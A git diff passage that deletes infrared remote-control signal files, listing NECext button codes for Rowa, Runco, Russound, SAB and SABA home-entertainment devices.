-# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 13 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 15 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 17 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 1D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir deleted file mode 100644 index 300040735..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: Prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: Root -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: Arrow_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: Arrow_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: Arrow_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: Arrow_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: VOL(+) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: Step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: VOL(-) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: N/P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir deleted file mode 100644 index 7a4edd6c1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NORMALIZE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: FUNCTION_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: FUNCTION_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: FUNCTION_SET -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: DVNR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: INCREMENTAL_FREEZE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir deleted file mode 100644 index aa6dc5701..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: COMPOSITE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: PASS-THRU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: ANAMORPHIC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 4_X_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: LETTERBOX -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir deleted file mode 100644 index aff2c7234..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: COMPOSITE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: COMPOSITE_INPUT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: SVHS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: S-VIDEO_INPUT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: COMPONENT_INPUT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: HDTV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: COMPUTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: PASS-THRU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: PASS_THROUGH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: ANAMORRPHIC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: ANAMORPHIC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: STANDARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 4_X_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 4:3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: LETTERBOX -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: RATIO_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: RATIO_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: INPUT_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: INPUT_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir deleted file mode 100644 index 411852e91..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: R -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 00 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 02 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 06 00 00 00 -# -name: OPERATE_MENU -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 06 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 07 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 07 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 08 00 00 00 -# -name: END -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 09 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 14 00 00 00 -# -name: STATIC -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 15 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 17 00 00 00 -# -name: IDTV_1 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 18 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 18 00 00 00 -# -name: IDTV_2 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 19 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 19 00 00 00 -# -name: IDTV_3 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1A 00 00 00 -# -name: IDTV_4 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1B 00 00 00 -# -name: IDTV_5 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1C 00 00 00 -# -name: RGB_6 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1D 00 00 00 -# -name: RGB_7 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1E 00 00 00 -# -name: RGB_8 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 1F 00 00 00 -# -name: RGB_9 -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 40 00 00 00 -# -name: HDTV -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 41 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 43 00 00 00 -# -name: SOUND_MUTE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 45 00 00 00 -# -name: PICTURE_MUTE -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 47 00 00 00 -# -name: INPUT_LIST -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 4D 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5C 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5C 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5D 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5E 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5E 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir deleted file mode 100644 index 144bef5d4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 06 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 06 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0E 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 19 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1C 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1D 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1E 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir deleted file mode 100644 index ccba604f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 80 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 81 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 82 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 83 00 00 00 -# -name: GENRE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 84 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 84 00 00 00 -# -name: ARTIST -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 86 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 87 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 88 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 89 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 8A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 8B 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 8C 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 8D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 8E 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 8F 00 00 00 -# -name: THEME -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: A5 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: B0 00 00 00 -# -name: STREAM_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: B1 00 00 00 -# -name: STREAM_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: B2 00 00 00 -# -name: STREAM_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: B3 00 00 00 -# -name: F1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: B4 00 00 00 -# -name: F2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: B5 00 00 00 -# -name: F3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: B6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir deleted file mode 100644 index 1a23417c1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: pdown -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: pup -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: aup -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: nul -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: vdown -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: vup -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: aleft -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 45 00 00 00 -# -name: adown -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 -# -name: aright -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: zeven -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: vier -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: een -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 56 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: vijf -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 59 00 00 00 -# -name: twee -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5A 00 00 00 -# -name: zes -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5D 00 00 00 -# -name: drie -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir deleted file mode 100644 index 2c261585f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: Color+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: Color- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: Bright+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: Bright- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: VT/TV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: Norm -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: Treble -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: Bass -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: Page -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 22 00 00 00 -# -name: Contrast -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: Sound3D -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: Balance -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: KEY_S -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: MIX -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2B 00 00 00 -# -name: Progr/100 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: CS/Stop -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 35 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir deleted file mode 100644 index cd9d71a87..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: KEY_7 